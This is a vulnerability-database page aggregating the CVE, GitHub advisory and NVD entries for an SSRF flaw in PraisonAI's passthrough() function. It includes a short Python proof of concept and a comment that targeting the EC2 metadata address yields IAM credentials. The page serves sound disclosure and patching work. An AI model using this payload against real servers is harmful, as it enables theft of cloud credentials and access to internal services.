Vulnerability-Lookup

CVE-2026-34936 (GCVE-0-2026-34936)

Vulnerability from cvelistv5 – Published: 2026-04-03 22:50 – Updated: 2026-04-06 15:41

Title

PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Summary

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. This issue has been patched in version 4.5.90.

Severity ?

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

Tags

https://github.com/MervinPraison/PraisonAI/securi…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	MervinPraison	PraisonAI	Affected: < 4.5.90

Show details on NVD website

JSON

To clipboard

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GHSA-X6M9-GXVR-7JPV

Vulnerability from github – Published: 2026-04-01 23:21 – Updated: 2026-04-06 22:54

Summary

PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Details

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.

Severity ?

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:21:45Z",
    "nvd_published_at": "2026-04-03T23:17:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.\n\n### Details\n\n`passthrough.py:92` (source) -\u003e `passthrough.py:109` (fallback trigger) -\u003e `passthrough.py:110` (sink)\n```python\n# source -- api_base taken directly from caller\ndef passthrough(endpoint, api_base=None, method=\"GET\", ...):\n\n# fallback trigger -- AttributeError from unrecognised provider enters fallback\nexcept AttributeError:\n    url = f\"{api_base or \u0027https://api.openai.com\u0027}{endpoint}\"\n\n# sink -- no validation before request\n    response = client.request(method, url=url, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai 1.5.87 (source install)\n# install: pip install -e src/praisonai\n# start listener: python3 -m http.server 8888\nimport sys, litellm\nsys.path.insert(0, \u0027src/praisonai\u0027)\ndel litellm.llm_passthrough_route\n\nfrom praisonai.capabilities.passthrough import passthrough\n\nresult = passthrough(\n    endpoint=\"/ssrf-test\",\n    api_base=\"http://127.0.0.1:8888\",\n    method=\"GET\",\n    custom_llm_provider=\"__nonexistent__\",\n)\nprint(result)\n# expected output: PassthroughResult(data=\u0027...\u0027, status_code=404, headers={\u0027server\u0027: \u0027SimpleHTTP/0.6 Python/3.12.3\u0027, ...})\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: api_base=\"http://169.254.169.254\" returns IAM credentials\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.",
  "id": "GHSA-x6m9-gxvr-7jpv",
  "modified": "2026-04-06T22:54:03Z",
  "published": "2026-04-01T23:21:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback"
}

FKIE_CVE-2026-34936

Vulnerability from fkie_nvd - Published: 2026-04-03 23:17 - Updated: 2026-04-14 18:14

Severity ?

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	praison	praisonai	*

JSON

To clipboard

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    }
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        }
      ],
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    }
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34936 (GCVE-0-2026-34936)

GHSA-X6M9-GXVR-7JPV

Summary

Details

PoC

Impact

FKIE_CVE-2026-34936

Tags

Sightings

Nomenclature